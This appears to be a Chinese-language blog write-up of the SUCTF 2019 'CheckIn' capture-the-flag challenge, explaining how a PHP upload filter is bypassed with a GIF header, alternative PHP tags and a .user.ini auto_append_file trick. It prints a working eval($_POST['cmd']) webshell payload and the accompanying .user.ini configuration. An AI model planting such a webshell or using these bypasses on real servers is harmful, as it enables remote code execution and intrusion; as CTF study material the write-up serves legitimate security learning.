美文网首页
[SUCTF 2019]CheckIn

[SUCTF 2019]CheckIn

作者: jun123123 | 来源:发表于2020-05-12 16:45 被阅读0次

    [SUCTF 2019]CheckIn

    首页是个上传页面,尝试上传一个shell,发现回显非法后缀。删除后缀再上传,发现对文件内容也有检测,检测了<?符号。删除文件内容再上传,又提示exif_imagetype:not image!,这里的hexif_imagetype是一个php函数通过文件头判断文件类型。我们在文件最前面加上GIF 89A(gif文件头),发现成功上传并回显了路径以及目录下所有文件名。这里我们可以考虑上传htaccess文件,但是这里是个nginx服务器,在响应头里可以看到(但是buuoj里的响应头服务器是openresty,可能是因为buuoj使用了这个代理,我是在wp里看到才知道是nginx)。因此尝试上传.user.ini文件,这个文件用以修改部分php.ini中的配置。

    php.ini文件中的配置分为几个模式,分别是PHP_INI_SYSTEMPHP_INI_PERDIRPHP_INI_ALLPHP_INI_USER,在php文档可以查看每个配置属于那种模式。.user.ini文件中可以修改PHP_INI_PERDIRPHP_INI_ALLPHP_INI_USER模式的配置,在配置列表中有如下两个配置auto_append_fileauto_prepend_file。这两个配置可以将文件插入到php文件中,我们可以利用这个函数来包含一个我们上传的webshell。

    首先我们构造一个webshell文件,由于<?被过滤,尝试使用短标签

    <?php x ?>
    <% x %> 开启asp_tags=on
    <? x ?> short_open_tag = On
    <?=x ?>

    <script language="php">x</script>

    这里可以选择

    <script language="php">x</script>格式,也可以选择<% x %>格式,如果选择<% x %>格式则需要设置asp_tags=on,这个配置属于PHP_INI_PERDIR,因此可以在.user.ini中修改。

    首先上传一个无后缀的文件,内容为

    GIF 89A
    <%
    @eval($_POST['cmd']);
    %>

    然后上传一个.user.ini文件,内容为

    GIF 89A
    asp_tags=on
    auto_append_file={上一个文件的文件名}

    然后使用菜刀连接回显的路径下的index.php,最后在根目录下看到flag文件。

    相关文章

      网友评论

          本文标题:[SUCTF 2019]CheckIn

          本文链接:https://www.haomeiwen.com/subject/gbtinhtx.html